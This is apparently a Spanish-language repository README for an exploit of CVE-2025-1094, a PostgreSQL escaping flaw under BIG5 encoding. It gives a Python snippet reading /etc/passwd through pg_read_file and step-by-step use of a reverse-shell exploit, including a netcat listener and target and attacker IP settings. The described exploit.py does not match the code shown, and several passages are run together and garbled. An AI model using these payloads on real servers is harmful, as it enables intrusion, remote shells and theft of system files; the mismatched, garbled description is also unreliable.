aninfosec/cve-2025-1094Es un fallo de saneamiento de entrada provocado por una discrepancia de codificación, que permite que una entrada manipulada evite los filtros. Si un servidor es vulnerable, un atacante puede inyectar SQL malicioso que el backend ejecuta.
#He escrito este exploit con referencia al PoC disponible en CVE-2025-1094
CVE‑2025‑1094 es una vulnerabilidad de saneamiento de entradas en las funciones de escape libpq de PostgreSQL y en la herramienta interactiva psql. Se debe al manejo incorrecto de codificaciones multibyte cuando la codificación del cliente está configurada como BIG5. Bajo ciertas condiciones, esto puede provocar un manejo inadecuado de los caracteres de escape, lo que permite a los atacantes eludir los límites previstos de las consultas.
Esta vulnerabilidad fue descubierta por Rapid7 durante el análisis de CVE‑2024‑12356, un problema independiente en los dispositivos BeyondTrust. El comportamiento de PostgreSQL fue explotado como parte de una vulnerabilidad encadenada más amplia para influir aún más en el comportamiento del backend.
Cuando un servidor web o una aplicación pasa directamente la entrada del usuario a consultas SQL ejecutadas a través de psql, y client_encoding está configurado como BIG5, una entrada especialmente diseñada puede terminar una sentencia SQL de forma anticipada y añadir SQL malicioso.
Esto permite operaciones adicionales, como la lectura de archivos locales (por ejemplo, /etc/passwd) a través de lo_export, pg_read_file u otras funciones similares de PostgreSQL.
Esta no es una vulnerabilidad de ejecución remota de código (RCE) en PostgreSQL por defecto. Más bien, es un uso indebido de las API de cliente de PostgreSQL que, cuando no se filtran o escapan adecuadamente, puede ser explotado para filtrar contenido sensible de archivos o potencialmente ejecutar SQL peligroso.
COPY TO, pg_read_file o lo_export cuando se combinan con inyección SQL en aplicaciones cliente.BIG5 y la entrada no está debidamente saneada.client_encoding=BIG5.import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ ¿Qué hace este Exploit.py?
Establece PGCLIENTENCODING=BIG5 en el entorno (condición desencadenante).
Construye una carga útil de inyección SQL para salir de una consulta e insertar un nuevo comando COPY TO PROGRAM.
Envía la carga útil mediante una petición GET al servidor web vulnerable (/search?q=...).
Si el backend utiliza psql y la entrada no está saneada, el COPY TO PROGRAM se ejecuta y escribe el resultado o abre una shell.
⚠️ El reverse shell solo tendrá éxito si el servidor:
Ejecuta SQL usando psql (no controladores de base de datos parametrizados)
Permite COPY TO PROGRAM (requiere superusuario)
Tiene conectividad saliente hacia el atacante
#El script de Python envía una carga útil especialmente diseñada a un servidor web vulnerable que pasa la entrada directamente a un proceso psql de PostgreSQL con codificación BIG5: Pasos para usar:
Inicia un listener en la terminal:
nc -lvnp 4444
Edita el script del exploit:
Establece TARGET_URL con la IP o el dominio del servidor objetivo. Confirma que ENDPOINT coincide con la ruta (por ejemplo, /search). Ajusta REVERSE_IP y REVERSE_PORT para que coincidan con tu máquina de ataque.
Ejecuta el script en una terminal diferente:
python3 exploit.py
Resultado: Si tiene éxito, recibirás una conexión en tu listener. Si no, intenta leer archivos (por ejemplo, /etc/passwd) usando cargas útiles de pg_read_file en su lugar.
Para probar esto:
EUC_TW o similar.psql o SQL dinámico sin escapar.pg_read_file o lo_export.client_encoding=BIG5 a menos que sea explícitamente necesario.